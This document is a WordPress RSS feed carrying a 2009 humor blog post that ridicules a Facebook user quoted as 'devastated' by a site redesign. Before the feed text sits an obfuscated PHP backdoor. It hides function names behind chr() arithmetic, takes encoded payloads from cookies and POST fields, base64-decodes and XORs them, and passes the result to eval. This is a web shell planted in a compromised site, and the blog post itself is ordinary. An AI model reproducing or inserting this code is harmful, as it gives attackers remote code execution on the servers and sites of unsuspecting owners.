$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();} Facebook – Regular Guy https://regularguycolumn.com/blog Why Stand Out? Be Regular. Mon, 30 Mar 2009 14:03:10 +0000 en-US hourly 1 https://wordpress.org/?v=6.7.1 The Real Problem with Facebook https://regularguycolumn.com/blog/?p=608 https://regularguycolumn.com/blog/?p=608#comments Mon, 30 Mar 2009 14:03:10 +0000 http://regularguycolumn.com/blog/?p=608 The discussion of the changes at Facebook have pretty much run their course, in my opinion. Yeah, the new look has problems. Yeah, they should just leave a good thing alone. All that rings true, but those things aren’t the real problem with Facebook. The New York Times did a nice story on the site this weekend, and the real problem became readily apparent.

People like Liz Rabban are the real problem with Facebook.

Ms. Rabban, 40, a real estate agent and the mother of two from Livingston, N.J., joined the site in November 2007, quickly amassing 250 friends and spending hours on the site each day.

But these days, she spends less time on the site and posts caustic comments about Facebook’s new design, which turns a majority of every user’s home page into a long “stream” of recent, often trivial, Twitter-like updates from friends.

“The changes just feel very juvenile,” Ms. Rabban says. “It’s just not addressing the needs of my generation and my peers. In my circle, everyone is pretty devastated about it.”

Devastated? Really, Liz? Devastated by changes in Facebook. And not just you, but “everyone” in your circle. Facebook hurting the feelings of you and 250 other people qualifies as devastation?

Devastation is the death of a parent, a diagnosis of a fatal disease for a child, the destruction of a house via tornado, the sudden loss of a job in a bad economy. Those things devastate people. Changes in Facebook are annoying, not devastating. Like Inigo Montoya said, “You keep using that word. I do not think it means what you think it means.”

I agree, Liz, the home page can be a pain in the butt, but they have already instituted a few changes. In the meantime, I suggest you get some perspective, deal with it and look into starting your own social networking site if someone else’s vision of how Facebook should work doesn’t meet your personal needs.

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